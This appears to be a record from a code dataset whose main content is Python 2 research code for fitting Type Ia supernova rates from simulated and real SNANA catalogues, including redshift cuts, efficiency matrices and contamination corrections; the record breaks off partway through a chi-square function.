if (optName.lower() == 'bins') & (not bins): zmin = optVal
if (optName.lower() == 'runfit') & (not runFit == None): zmin = optVal
if zmin == None: zmin = 0.1
if zmax == None: zmax = 1.2
if MJDMin == None: MJDMin = 0.0
if MJDMax == None: MJDMax = np.inf
if bins == None: bins = "equalSize"
if runFit == None: runFit = True
except:
print "Option File not working/Nonexistent. Using default values"
'''
|
normal
|
{
"blob_id": "27976e9f7fbe030910b3595ea1a13e0e505183e5",
"index": 7131,
"step-1": "#!/software/python-2.7-2014q3-el6-x86_64/bin/python\nimport SNANA_Reader as simread\nimport REAL_Reader as dataread\n#import astropy.cosmology as cosmo\nimport traceback\nimport scipy\nimport scipy.stats as stats\nimport numpy as np\nimport matplotlib.pyplot as plt\nplt.switch_backend('Agg')\n#import Cosmology\nimport scipy.stats.mstats as mstats\nimport scipy.stats as stats\nfrom scipy.interpolate import UnivariateSpline\nfrom sys import argv\nimport glob\nimport time\nimport os\nimport gzip\nimport shutil\nimport numpy.ma as ma\nimport subprocess\nimport iminuit as iM\nfrom iminuit import Minuit as M\nfrom discreteChi2Func import discreteChi2Func as chi2func\nimport pandas as pd\n\n\nclass Rate_Fitter:\n def __init__(self, realfilename, realName, simfilename, simName, simgenfilename, MCBeta, MCK, zminSamp=0.1, zmaxSamp=1.20 , zminFit = 0.1, zmaxFit = 1.20, simOmegaM=0.3, simOmegaL=0.7, simH0=70.0, simw=-1.0, simOb0=0.049, simSigma8=0.81, simNs=0.95, Rate_Model = 'powerlaw', cheatType = False, cheatZ = False, cheatCCSub = False, cheatCCScale = False, cuts = None, nprint = 5, MURESCuts = None, noCCMC = False, priorRate = None, priorZEff = None, ratePriorErrUp = None, ratePriorErrDown =None, ratePriorErrAll = None, fixCCScale = False):\n print \"Rate_Fitter\"\n print \"np version {0}\".format(np.__version__)\n \n self.zminSamp = zminSamp\n self.zmaxSamp = zmaxSamp\n self.zminFit = zminFit\n self.zmaxFit = zmaxFit\n self.MCBeta = MCBeta\n self.MCK = MCK\n self.Rate_Model = Rate_Model\n self.cheatType = cheatType\n self.cheatZ = cheatZ\n self.cheatCCSub = cheatCCSub\n self.cheatCCScale = cheatCCScale\n self.cuts = cuts\n self.nprint = nprint\n self.MURESCuts = MURESCuts\n self.priorRate = priorRate\n self.priorZEff = priorZEff\n self.ratePriorErrUp = ratePriorErrUp\n self.ratePriorErrDown = ratePriorErrDown\n self.ratePriorErrAll = ratePriorErrAll\n self.fixCCScale = fixCCScale\n\n #print \"PRIORS\"\n #print priorRate\n #print priorZEff\n #print ratePriorErrUp\n #print ratePriorErrDown\n\n if self.cheatZ:\n self.ztype = 'SIM_ZCMB'\n else:\n #self.ztype = 'zHD'\n self.ztype = 'zPHOT'\n\n self.shiftFlagData = False\n self.shiftFlagSim = False\n\n\n self.globalChi2Storage = []\n self.globalNDataStorage = []\n '''\n \n self.globalZPhotBinStorage = []\n self.globalNDataIaPhotBinStorage = []\n self.globalNDataCCPhotBinStorage = []\n self.globalZTrueBinStorage = []\n self.globalNDataIaTrueBinStorage = []\n self.globalNDataCCTrueBinStorage = []\n '''\n print 'a'\n try: \n self.simcat = simread.SNANA_Cat(simfilename, simName, simOmegaM=0.3, simOmegaL=0.7, simH0=70.0, simw=-1.0, simOb0=0.049, simSigma8=0.81, simNs=0.95)\n except:\n try:\n self.simcat = simread.SNANA_Cat(simfilename, simName, simOmegaM=0.3, simOmegaL=0.7, simH0=70.0, simw=-1.0, simOb0=0.049, simSigma8=0.81, simNs=0.95, skip_header = 5)\n\n except: \n self.simcat = simread.SNANA_Cat(simfilename, simName, simOmegaM=0.3, simOmegaL=0.7, simH0=70.0, simw=-1.0, simOb0=0.049, simSigma8=0.81, simNs=0.95, skip_header = 6)\n print 'b' \n self.simName = simName\n self.simgencat = simread.SNANA_Cat(simfilename, simName, simOmegaM=0.3, simOmegaL=0.7, simH0=70.0, simw=-1.0, simOb0=0.049, simSigma8=0.81, simNs=0.95)\n print 'c' \n try:\n #with np.load(simgenfilename+'.npz', allow_pickle = True) as data0:\n # SIMGEN = data0['a']\n \n SIMGEN = np.load(simgenfilename + '.npy', allow_pickle = True)\n except:\n \n SIMGEN = np.genfromtxt(simgenfilename, dtype=None, names = True, skip_footer=3, invalid_raise=False)\n print \"Compress save A\"\n SIMGEN.dtype.names = map(str, SIMGEN.dtype.names)\n #np.savez_compressed(simgenfilename+'.npz', a = SIMGEN)\n np.save(simgenfilename+'.npy', SIMGEN)\n \n print \"WHY DO YOU HATE ME WHEN I SHOW YOU NOTHING BUT LOVE\"\n print simgenfilename\n #SIMGEN = pd.read_csv(simgenfilename, delim_whitespace=True, comment=\"#\").to_records(index = False)\n print 'd'\n SIMGEN = SIMGEN[SIMGEN['GENZ'] != 'GENZ']\n\n self.simgencat.params = {'flat':True, 'H0': simH0, 'Om0':simOmegaM, 'Ob0': simOb0, 'sigma8': simSigma8, 'ns': simNs}\n #self.simgencat.cosmo = Cosmology.setCosmology('simCosmo', self.simcat.params)\n self.simgencat.OrigCatalog = np.copy(SIMGEN)\n self.simgencat.Catalog = np.copy(SIMGEN)\n self.simgencat.Catalog = self.simgencat.Catalog[self.simgencat.Catalog['GENZ'] != 'GENZ']\n self.simgencat.simname = simName\n self.simgencat.NSN = self.simgencat.Catalog['GENZ'].shape[2]\n\n print \"SIMGEN NUMBER\"\n print self.simgencat.NSN\n print \"TEST2\"\n print self.simgencat.Catalog['GENZ'].shape[0]\n print self.simgencat.Catalog['GENZ'].shape[1]\n print self.simgencat.Catalog['GENZ'].shape[2]\n print \"SIMGENCAT FILE\"\n print simfilename\n\n self.realName = realName\n try:\n print 'q'\n self.realcat = simread.SNANA_Cat(realfilename, realName, simOmegaM=0.3, simOmegaL=0.7, simH0=70.0, simw=-1.0, simOb0=0.049, simSigma8=0.81, simNs=0.95, skip_header = 6)\n except:\n #self.realcat = simread.SNANA_Cat(realfilename, realName, simOmegaM=0.3, simOmegaL=0.7, simH0=70.0, simw=-1.0, simOb0=0.049, simSigma8=0.81, simNs=0.95)\n try:\n print 'r'\n self.realcat = simread.SNANA_Cat(realfilename, realName, simOmegaM=0.3, simOmegaL=0.7, simH0=70.0, simw=-1.0, simOb0=0.049, simSigma8=0.81, simNs=0.95)\n except:\n print 's'\n self.realcat = dataread.REAL_Cat(realfilename, realName, skip_header =11 )\n\n if self.cheatType:\n print \"WARNING, THE FITTER IS CHEATING AND ELIMINATED NON-IAs USING SIM INFO\"\n self.realcat.Catalog = self.realcat.Catalog[self.realcat.Catalog['SIM_TYPE_INDEX'].astype(int) == 1]\n self.simcat.Catalog = self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'].astype(int) == 1]\n\n print \"Pre cut Catalog\"\n print self.realcat.Catalog.shape\n for cut in cuts:\n print 'a'\n print cut\n print self.realcat.Catalog.shape\n self.realcat.Catalog = self.realcat.Catalog[(self.realcat.Catalog[cut[0]].astype(type(cut[1])) > cut[1]) & (self.realcat.Catalog[cut[0]].astype(type(cut[2])) < cut[2])]\n self.simcat.Catalog = self.simcat.Catalog[(self.simcat.Catalog[cut[0]].astype(type(cut[1])) > cut[1]) & (self.simcat.Catalog[cut[0]].astype(type(cut[2])) < cut[2])]\n print 'b'\n print cut\n print self.realcat.Catalog.shape\n\n self.postCutRealCat = np.copy(self.realcat.Catalog)\n self.postCutSimCat = np.copy(self.simcat.Catalog)\n\n self.realcat.Catalog = self.realcat.Catalog[(self.realcat.Catalog[self.ztype].astype(float) > self.zminSamp) & (self.realcat.Catalog[self.ztype].astype(float) < self.zmaxSamp)]\n self.simcat.Catalog = self.simcat.Catalog[(self.simcat.Catalog[self.ztype].astype(float) > self.zminSamp) & (self.simcat.Catalog[self.ztype].astype(float) < self.zmaxSamp)]\n print 'zCut Pre MURESCut'\n print np.sum((self.realcat.Catalog[self.ztype].astype(float) > self.zminFit) & (self.realcat.Catalog[self.ztype].astype(float) < self.zmaxFit))\n print 'MURESCUT'\n print self.MURESCuts\n print self.realcat.Catalog.shape\n\n if not (self.MURESCuts is None):\n '''\n #MURES Cut format: (zmin, zmax, neg Cut, pos Cut)\n\n for mc in self.MURESCuts:\n\n realCond = (self.realcat.Catalog[self.ztype] < mc[0]) | (self.realcat.Catalog[self.ztype] > mc[1])| ((self.realcat.Catalog['MURES'] > mc[2])& (self.realcat.Catalog['MURES'] < mc[3]))\n\n simCond = (self.simcat.Catalog[self.ztype] < mc[0]) | (self.simcat.Catalog[self.ztype] > mc[1])| ((self.simcat.Catalog['MURES'] > mc[2])& (self.simcat.Catalog['MURES'] < mc[3]))\n\n self.realcat.Catalog = self.realcat.Catalog[realCond]\n self.simcat.Catalog = self.simcat.Catalog[simCond]\n '''\n\n self.realcat.Catalog = self.realcat.Catalog[ np.abs( self.realcat.Catalog['MURES'] * 1.0 / self.realcat.Catalog['MUERR'] ) < MURESCuts]\n self.simcat.Catalog = self.simcat.Catalog[ np.abs( self.simcat.Catalog['MURES'] * 1.0 / self.simcat.Catalog['MUERR'] ) < MURESCuts]\n print \"PostMURESCut Shape\"\n print self.realcat.Catalog.shape\n print 'zCut Post MURESCut'\n print np.sum((self.realcat.Catalog[self.ztype].astype(float) > self.zminFit) & (self.realcat.Catalog[self.ztype].astype(float) < self.zmaxFit))\n\n print \"Post cut Catalog\"\n\n print self.realcat.Catalog.shape\n\n if noCCMC:\n self.simgencat.Catalog = self.simgencat.Catalog[self.simgencat.Catalog['GENTYPE'] == 1]\n self.simcat.Catalog = self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'] == 1]\n\n \n \n def newData(self, realfilename, realName, simInd =100):\n self.realName = realName\n self.shiftFlagData = False\n try:\n self.realcat = simread.SNANA_Cat(realfilename, realName, simOmegaM=0.3, simOmegaL=0.7, simH0=70.0, simw=-1.0, simOb0=0.049, simSigma8=0.81, simNs=0.95)\n except:\n self.realcat = simread.SNANA_Cat(realfilename, realName, simOmegaM=0.3, simOmegaL=0.7, simH0=70.0, simw=-1.0, simOb0=0.049, simSigma8=0.81, simNs=0.95, skip_header = 6 )\n if self.cheatType:\n print \"WARNING, THE FITTER IS CHEATING AND ELIMINATED NON-IAs USING SIM INFO\"\n self.realcat.Catalog = self.realcat.Catalog[self.realcat.Catalog['SIM_TYPE_INDEX'].astype(int) == 1]\n if simInd < self.nprint:\n print 'N precuts'\n print self.realcat.Catalog['FITPROB'].shape\n print \"Pre cut Catalog\"\n print self.realcat.Catalog.shape\n\n for cut in cuts:\n self.realcat.Catalog = self.realcat.Catalog[(self.realcat.Catalog[cut[0]].astype(type(cut[1])) > cut[1]) & (self.realcat.Catalog[cut[0]].astype(type(cut[2])) < cut[2])]\n\n self.realcat.Catalog = self.realcat.Catalog[(self.realcat.Catalog[self.ztype].astype(float) > self.zminSamp) & (self.realcat.Catalog[self.ztype].astype(float) < self.zmaxSamp)]\n print \"Post cut Catalog\"\n print self.realcat.Catalog.shape \n \n\n self.postCutRealCat = np.copy(self.realcat.Catalog)\n print 'MURESCUT'\n print self.MURESCuts\n print self.realcat.Catalog.shape\n if not (self.MURESCuts is None):\n \n #MURES Cut format: (zmin, zmax, neg Cut, pos Cut)\n '''\n for mc in self.MURESCuts:\n \n realCond = (self.realcat.Catalog[self.ztype] < mc[0]) | (self.realcat.Catalog[self.ztype] > mc[1])| ((self.realcat.Catalog['MURES'] > mc[2])& (self.realcat.Catalog['MURES'] < mc[3]))\n\n self.realcat.Catalog = self.realcat.Catalog[realCond]\n '''\n self.realcat.Catalog = self.realcat.Catalog[np.abs(self.realcat.Catalog['MURES']*1.0/self.realcat.Catalog['MUERR']) < MURESCuts]\n print \"PostMURESCut Shape\"\n print self.realcat.Catalog.shape\n\n \n if simInd < self.nprint:\n print \"Minimum Fitprob\"\n print np.min(self.realcat.Catalog['FITPROB'])\n print 'N postcuts'\n print self.realcat.Catalog['FITPROB'].shape\n\n def zSystematic(self, binList = None, nbins = None):\n assert(0)\n if nbins is None:\n try: \n self.nbins = len(binList) - 1\n self.binList = binList\n except:\n self.nbins = binList.shape[0] - 1\n self.binList = binList\n else:\n binList = np.linspace(self.zmin, self.zmax, nbins+1)\n self.nbins = nbins\n self.binList = binList\n if self.shiftFlagData:\n print \"DONT DOUBLE SHIFT\"\n return 0\n if not self.shiftFlagSim:\n \n oldsimz = self.simcat.Catalog['zPHOT']\n oldsimtruez = self.simcat.Catalog['SIM_ZCMB']\n stat, bins, binnum = stats.binned_statistic(oldsimz, oldsimz - oldsimtruez, bins = self.binList, statistic = 'mean')\n self.zBiasShifts = stat\n newsimz = oldsimz - stat[binnum]\n assert(np.sum(np.abs(newsimz - oldsimz)) > 0)\n assert((oldzshape - np.arange(0, oldz.shape[0]).shape[0])< 1)\n self.shiftFlagSim = True\n oldz = self.realcat.Catalog['zPHOT']\n _,_, binnum = stats.binned_statistic(oldz, oldz , bins = self.binList, statistic = 'mean')\n newz = oldz - self.zBiasShifts[binnum]\n oldzshape = oldz.shape[0]\n self.realcat.Catalog['zPHOT'].put(np.arange(0, oldz.shape[0]), newz)\n assert(np.sum(np.abs(newz - oldz)) > 0)\n assert((oldzshape - np.arange(0, oldz.shape[0]).shape[0])< 1)\n self.simFlagData = True\n \n def effCalc(self, fracContamCut = 0.0, nbinsSamp = None, nbinsFit = None, binListSamp = None, binListFit = None, simInd =100):\n #### Do we want SNIas or all SN for efficiency?\n import matplotlib as mpl\n if nbinsSamp is None:\n try: \n self.nbinsSamp = len(binListSamp) - 1\n self.binListSamp = binListSamp\n except:\n self.nbinsSamp = binListSamp.shape[0] - 1\n self.binListSamp = binListSamp\n else:\n binListSamp = np.linspace(self.zminSamp, self.zmaxSamp, nbinsSamp+1)\n self.nbinsSamp = nbinsSamp\n self.binListSamp = binListSamp\n\n if nbinsFit is None:\n try: \n self.nbinsFit = len(binListFit) - 1\n self.binListFit = binListFit\n except:\n self.nbinsFit = binListFit.shape[0] - 1\n self.binListFit = binListFit\n else:\n binListFit = np.linspace(self.zminFit, self.zmaxFit, nbinsFit+1)\n self.nbinsFit = nbinsFit\n self.binListFit = binListFit\n\n \n self.typeString = ''\n\n #if self.cheatZ:\n # self.ztype = 'SIM_ZCMB'\n #else:\n # self.ztype = 'zPHOT'\n\n '''\n if (fracContamCut > 0.000000001) & (fracContamCut < 1.0):\n print \" Cutting based on Frac Contam\"\n histTot, binsX, binsY = np.histogram2d(self.simcat.Catalog[ztype], self.simcat.Catalog['MURES'], bins = nbins)\n \n histCC, binsX, binsY = np.histogram2d(self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'].astype(int) != 1][ztype], self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'].astype(int) != 1]['MURES'], bins = (binsX, binsY))\n\n fracContam = histCC.astype(np.float)/histTot.astype(np.float)\n\n for fcRow, i in zip(fracContam, xrange(binsX.shape[0])):\n for fc, j in zip(fcRow, xrange(binsY.shape[0])):\n if fc < fracContamCut:\n continue\n else:\n simInBin = (self.simcat.Catalog[ztype] > binsX[i]) & (self.simcat.Catalog[ztype] < binsX[i+1]) & (self.simcat.Catalog['MURES'] > binsY[j]) & (self.simcat.Catalog['MURES'] < binsY[j+1])\n realInBin = (self.realcat.Catalog[ztype] > binsX[i]) & (self.realcat.Catalog[ztype] < binsX[i+1]) & (self.realcat.Catalog['MURES'] > binsY[j]) & (self.realcat.Catalog['MURES'] < binsY[j+1])\n self.simcat.Catalog = self.simcat.Catalog[np.invert(simInBin)]\n self.realcat.Catalog = self.realcat.Catalog[np.invert(realInBin)]\n \n '''\n zPHOTs = self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'].astype(int) == 1][self.ztype].astype(float)\n\n zTRUEs = self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'].astype(int) == 1]['SIM_ZCMB'].astype(float)\n\n self.typeString = self.typeString + 'A1'\n \n \n print \"Type Location A\"\n print \"Choice A1\"\n print zPHOTs.shape\n print zTRUEs.shape\n print binList\n \n counts, zPhotEdges, zTrueEdges, binnumber = scipy.stats.binned_statistic_2d(zPHOTs, zTRUEs, zTRUEs, statistic = 'count', bins = (self.binListFit, self.binListSamp))\n assert(zPhotEdges.shape[0] == (self.nbinsFit + 1))\n print \"Type Location B\"\n print \"Choice B1\"\n \n self.typeString = self.typeString + 'B1'\n zGenHist, zGenBins = np.histogram(self.simgencat.Catalog[self.simgencat.Catalog['GENTYPE'].astype(int) == 1]['GENZ'].astype(float), bins = self.binListSamp)\n\n #zSim1Hist, zSim1Bins = np.histogram(self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'].astype(int) ==1]['SIM_ZCMB'].astype(float), bins = self.binListSamp)\n \n \n \n print \"counts of zTrue in each zPhot vs zTrue bin\"\n print counts.astype(int)\n print \"zGen Bins\"\n print zGenBins\n print 'zGen Histogram'\n print zGenHist\n print \"sum zGen events\"\n print np.sum(zGenHist)\n print \"sum zPhot events\"\n print np.sum(counts)\n #print \"DEBUG HERE\"\n #assert(0)\n self.effmat = np.zeros((self.nbinsFit, self.nbinsSamp))\n xMax = zPhotEdges.shape[0] - 2\n yMax = zTrueEdges.shape[0] - 2\n print zGenHist\n print counts.astype(int)\n '''\n for zPhotLedge, zPhotRedge, row, i in zip(zPhotEdges[:-1], zPhotEdges[1:], counts, xrange(xMax + 1)):\n zPhotCenter = (zPhotLedge + zPhotRedge)/2.0\n for zTrueLedge, zTrueRedge, count, j in zip(zTrueEdges[:-1], zTrueEdges[1:], row, xrange(yMax + 1)):\n zTrueCenter = (zTrueLedge + zTrueRedge)/2.0\n inCell = (zPHOTs > zPhotLedge) & (zPHOTs < zPhotRedge) & (zTRUEs > zTrueLedge)& (zTRUEs < zTrueRedge)\n zPhotCell = zPHOTs[inCell];zTrueCell = zTRUEs[inCell]\n self.effmat[i][j] = count # np.sum(inCell)\n #print \"inCell\"\n #print np.sum(inCell)\n #print \"count\"\n #print count\n #try:\n # assert(np.abs(np.sum(inCell) - count) < 2)\n #except:\n # print \"CHECK ABOVE\"\n \n for row, i in zip(self.effmat, xrange(self.effmat.shape[0])):\n for j in xrange(row.shape[0]):\n self.effmat[i][j] /= zGenHist[j]\n '''\n self.effmat = counts/zGenHist\n\n #if simInd < self.nprint:\n print 'effmat'\n print self.effmat\n\n\n\n\n extent = [zPhotEdges[0], zPhotEdges[-1], zTrueEdges[0], zTrueEdges[-1]]\n if (simInd == 0) or (not ('sim' in self.realName.lower())):\n plt.figure()\n plt.imshow(np.flipud(counts.T), extent = extent, cmap = 'Blues')\n plt.colorbar()\n plt.savefig(self.realName + 'redshiftDistro.png')\n plt.clf()\n plt.close()\n plt.figure()\n plt.imshow(np.flipud(self.effmat.T), extent = extent, cmap = 'Blues', norm=mpl.colors.LogNorm())\n plt.colorbar()\n plt.savefig(self.realName + 'efficiencyMatrixLog.png')\n plt.clf()\n plt.close()\n plt.figure()\n plt.imshow(np.flipud(self.effmat.T), extent = extent, cmap = 'Blues')\n plt.colorbar()\n plt.savefig(self.realName + 'efficiencyMatrix.png')\n plt.clf()\n plt.close()\n \n def fit_rate(self, fixK = False, fixBeta = False, simInd =100, trueBeta = 0, CCScale = 1.0, CCScaleErr = None, TrueCCScale = 1.0, BetaInit = 0.0, kInit = 1.0, BetaErr = 1, kErr = 1, f_Js = None, CCZbins = None, scaleZBins = None, Blind = False):\n #import iminuit as iM\n #from iminuit import Minuit as M\n #import numpy as np\n #import matplotlib as mpl\n #import matplotlib.pyplot as plt\n #if self.cheatZ:\n # self.ztype = 'SIM_ZCMB'\n #else:\n # self.ztype = 'zPHOT'\n plt.switch_backend('Agg')\n\n if simInd < self.nprint:\n print \"Type Location C\"\n print \"Choice C1\"\n\n if len(self.typeString) <= 4:\n self.typeString = self.typeString + 'C1'\n\n\n nSim, simBins = np.histogram(self.simgencat.Catalog[self.simgencat.Catalog['GENTYPE'].astype(int) == 1]['GENZ'].astype(float), bins=self.binListSamp)\n if simInd < self.nprint:\n print \"nSim1\"\n print nSim\n print self.simgencat.Catalog.shape\n \n print \"FIGURE OUT WHY YOU MADE THIS ASSERT STATEMENT LATER\"\n #assert(0)\n nSim2, simBins2 = np.histogram(self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'].astype(int) ==1][self.ztype].astype(float), bins=self.binListFit)\n \n \n \n nSim3, simBins3 = np.histogram(self.simcat.Catalog[self.ztype].astype(float), bins=self.binListFit)\n \n\n NCC , _ = np.histogram(self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'] != 1][self.ztype].astype(float), bins=self.binListFit)\n if self.fixCCScale:\n print \"Fix CC Scale at 1\"\n else:\n if simInd < self.nprint:\n print \"nSim2\"\n print nSim2\n print \"nSim3\"\n print nSim3\n print \"nCC\"\n print NCC\n OrigNCC = np.copy(NCC)\n if self.cheatCCSub:\n if self.cheatCCScale:\n print \"WARNING: Only cheating on CC Subtraction not scale\"\n print \"Setting NCC to infinity to make sure that cheating correctly\"\n print \"Diagnostics after this point may be nonsense\"\n print self.cheatCCSub\n print \"NCC BeforeFck\"\n print NCC\n NCC = NCC*1E100\n print \"NCC AfterFck\"\n print NCC \n elif self.cheatCCScale:\n print \"NCC Before1\"\n print NCC\n print TrueCCScale\n NCC = applyCCScale(NCC, TrueCCScale, CCScaleErr, zbins = CCZbins, datazbins = self.binListFit)\n print \"NCC After1\"\n print NCC\n else: \n print \"NCC Before2\"\n print NCC\n print CCScale\n NCC = applyCCScale(NCC, CCScale, CCScaleErr, zbins = CCZbins, datazbins = self.binListFit)\n print \"NCC After2\"\n print NCC\n #assert(0)\n\n \n NIa , _ = np.histogram(self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'] == 1][self.ztype].astype(float), bins=self.binListFit)\n '''\n DebugNIaPhot, _ = np.histogram(self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'] == 1]['zPHOT'].astype(float), bins=self.binListFit)\n DebugNCCPhot, _ = np.histogram(self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'] != 1]['zPHOT'].astype(float), bins=self.binListFit)\n DebugNCCPhot = applyCCScale(DebugNCCPhot, CCScale, CCScaleErr, zbins = scaleZBins, datazbins = self.binListFit)\n DebugNIaTrue, _ = np.histogram(self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'] == 1]['SIM_ZCMB'].astype(float), bins=self.binListSamp)\n DebugNCCTrue, _ = np.histogram(self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'] != 1]['SIM_ZCMB'].astype(float), bins=self.binListSamp)\n DebugNCCTrue = applyCCScale(DebugNCCTrue, CCScale, CCScaleErr, zbins = scaleZBins, datazbins = self.binListSamp)\n\n uselessCtr = 0\n for niap, nccp, niat, ncct, zp, zt in zip(DebugNIaPhot, DebugNCCPhot, DebugNIaTrue, DebugNCCTrue,(self.binListFit[1:] + self.binListFit[:-1])/2.0, (self.binListSamp[1:] + self.binListSamp[:-1])/2.0 ):\n uselessCtr +=1\n self.globalZTrueBinStorage.append(zt)\n self.globalZPhotBinStorage.append(zp)\n self.globalNDataIaPhotBinStorage.append(niap)\n self.globalNDataCCPhotBinStorage.append(nccp)\n self.globalNDataIaTrueBinStorage.append(niat)\n self.globalNDataCCTrueBinStorage.append(ncct)\n print \"UselessCtr\"\n print uselessCtr\n \n '''\n\n try:\n TrueNCC, _ = np.histogram(self.realcat.Catalog[self.realcat.Catalog['SIM_TYPE_INDEX'] !=1][self.ztype].astype(float), bins=self.binListFit)\n if simInd < self.nprint:\n\n print \"True NCC Data\"\n print TrueNCC\n except:\n print \"Using real data\"\n\n TrueNCC = 0.0\n\n nData, dataBins = np.histogram(self.realcat.Catalog[self.ztype].astype(float), bins=self.binListFit)\n print \"nData\"\n print nData\n if not(self.cheatCCSub):\n FracBad = NCC*1.0/(1.0*(NCC+NIa))\n nCCData = nData*FracBad\n else: \n nCCData = TrueNCC*1.0\n FracBad = TrueNCC*1.0/nData\n if simInd < self.nprint:\n print \"PreScale NCC/nSim\"\n print OrigNCC*1.0/(OrigNCC+NIa)\n \n print \"PreScale Pred NCC Data\"\n print OrigNCC*1.0/(OrigNCC+NIa)*nData\n\n print \"PreScale Pred NCC Data if 2NCC\"\n print OrigNCC*2.0/(2.0*OrigNCC+NIa)*nData\n\n print \"TrueNCC\"\n print TrueNCC\n if type(TrueNCC) != int:\n if simInd < self.nprint:\n print \"PreScale PredNCCData - TrueNCCData\"\n print OrigNCC*2.0/(2.0*OrigNCC+NIa)*nData - TrueNCC\n\n print \"PreScale PredNCCData - TrueNCCData/ PredNCCData\"\n print (OrigNCC*2.0/(2.0*OrigNCC+NIa)*nData - TrueNCC)/(OrigNCC*2.0/(2.0*OrigNCC+NIa)*nData)\n else:\n print \"Using real data\"\n \n print \"Mean of PreScale PredNCCData - TrueNCCData/ PredNCCData\"\n print np.nanmean((OrigNCC*2.0/(2.0*OrigNCC+NIa)*nData - TrueNCC)/(OrigNCC*2.0/(2.0*OrigNCC+NIa)*nData))\n\n print \"PostScale NCC/nData\"\n print NCC*1.0/(NCC+NIa)\n\n if simInd < self.nprint:\n print \"Fraction of CCs in each bin\"\n print FracBad\n\n print 'NCC'\n print NCC\n\n print 'nSim2'\n print nSim2\n print \"nData, dataBins, realcat shape pre contam correction\"\n print nData\n print dataBins\n print np.sum(self.realcat.Catalog[self.ztype].astype(float) > self.zmaxFit)\n print np.sum(self.realcat.Catalog[self.ztype].astype(float) < self.zminFit)\n print self.realcat.Catalog[self.ztype].shape\n \n print \"Ratio nData/nSim\"\n print 1.0*nData/(1.0*nSim3)\n \n\n print \"Ratio nSim2/nData\"\n print 1.0*nSim3/(1.0*nData)\n\n print \"FracBad\"\n print FracBad\n print 'NCCData'\n print nCCData\n\n if simInd < self.nprint:\n\n print \"overall Contam\"\n print np.sum(NCC)*1.0/(np.sum(nSim3)*1.0)\n \n def chi2func(nData, nSim, effmat, fnorm, zCentersSamp, zCentersFit, k = 1.0, Beta = 0.0, zBreak = 1.0, dump = False, complexdump = False, modelError = False, nIA = None, nCC = None, Rate_Model = 'powerlaw', zbins = None, simInd = 100, BetaPrior = (-3, 3), KPrior = (0.0, 50.0), priorRate = None, priorZEff = None, ratePriorErrUp = None, ratePriorErrDown =None, ratePriorErrAll = None, TrueNCCData = None, f_1 = 1.0, f_2 = 1.0, f_3 = 1.0, f_4 = 1.0, f_5 = 1.0, f_6 = 1.0, f_7 = 1.0, f_8 = 1.0, f_9 = 1.0, f_10 = 1.0, f_11 = 1.0):\n if simInd < self.nprint:\n print \"PRIORS2\"\n print priorRate\n print priorZEff\n print ratePriorErrUp\n print ratePriorErrDown\n Chi2Temp = 0.0\n if Rate_Model == 'powerlaw':\n f_Js = k*(1+zCentersSamp)**Beta\n elif Rate_Model == 'discrete':\n f_Js = np.array([f_1, f_2, f_3, f_4, f_5, f_6, f_7, f_8, f_9, f_10, f_11])\n elif (Rate_Model == 'brokenpowerlaw') | (Rate_Model == 'brokenpowerlawVar'):\n f_Js = []\n #zCenters = (zbins[1:]+zbins[:-1])/2.0\n temp = None\n for zC in zCentersSamp:\n if zC < zBreak:\n f_Js.append(k*(1+zC)**Beta)\n elif not(temp is None):\n f_Js.append(temp)\n else:\n temp = f_Js[-1]\n f_Js.append(temp)\n f_Js = np.array(f_Js)\n else: \n assert(0)\n if simInd < self.nprint:\n if Rate_Model == 'discrete':\n print \"f_Js init\"\n print f_Js\n else:\n print \"Beta init\"\n print Beta\n print \"k init\"\n print k\n #chi2Mat = np.zeros((self.nbinsFit))\n #adjNMC = np.zeros((self.nbinsFit))\n if Rate_Model == 'discrete':\n kprior = 0\n betaprior = 0\n else:\n kprior = weakPrior(k, KPrior)\n betaprior = weakPrior(Beta, BetaPrior)\n\n if dump and (self.nprint > simInd):\n print \"kprior\"\n print kprior\n print \"betaprior\"\n print betaprior\n if (nIA is None) or (nCC is None):\n if dump:\n print \"No CC Cut\"\n fracCCData = np.zeros(nData.shape)\n elif self.cheatCCSub:\n fracCCData = TrueNCC*1.0/nData \n\n else:\n if Rate_Model == 'discrete':\n if dump and (self.nprint > simInd):\n print 'f_J adjusted CC Cut'\n print Rate_Model\n print nCC\n print nIA\n print np.array(f_Js)\n fracCCData = (nCC*1.0)/((1.0*nCC + nIA*np.array(f_Js)))\n print fracCCData\n else:\n if dump and (self.nprint > simInd):\n print \"Beta Adjusted CC Cut\"\n print Rate_Model\n #BetaRatio = k*(1+zCenters)**(Beta)#/(1+zCenters)**MCBeta\n BetaRatio = (1+zCentersFit)**(Beta)#/(1+zCenters)**MCBeta\n if dump and (self.nprint > simInd):\n print \"Beta Ratio\"\n print BetaRatio\n print \"BadFracCCData\"\n print (nCC*1.0)/((1.0*nCC + nIA*BetaRatio))\n print \"bad NCCData\"\n print (nCC*1.0)/((1.0*nCC + nIA*BetaRatio))*nData\n fracCCData = (nCC*1.0)/((1.0*nCC + nIA*BetaRatio))\n \n \n\n if dump and (self.nprint > simInd):\n print 'abc'\n print \"fracCCData2\"\n print fracCCData\n print \"unscaled fracCCData\"\n print (1.0*nCC)/(1.0*(nCC+nIA))\n if self.cheatCCSub:\n nCCData = TrueNCCData\n if dump and (self.nprint < simInd):\n\n print \"Cheating CC Sub\"\n assert(not(TrueNCCData is None))\n\n elif dump and (self.nprint > simInd):\n print 'def'\n print \"Normal CC Sub\"\n if not self.cheatCCSub:\n nCCData = nData*fracCCData\n if dump and (self.nprint > simInd):\n print \"nCCData2\"\n print nCCData\n if not(TrueNCCData is None):\n print \"TrueNCCData\"\n print TrueNCCData\n \n \n #print f_Js\n #Check if I am scaling errors down with increasing MC size. Make MC twice as large as \"Data\" to test.\n if dump: chi2Storage = []\n if dump: scaledNSimStor = []\n if dump: JSumTempNumStor 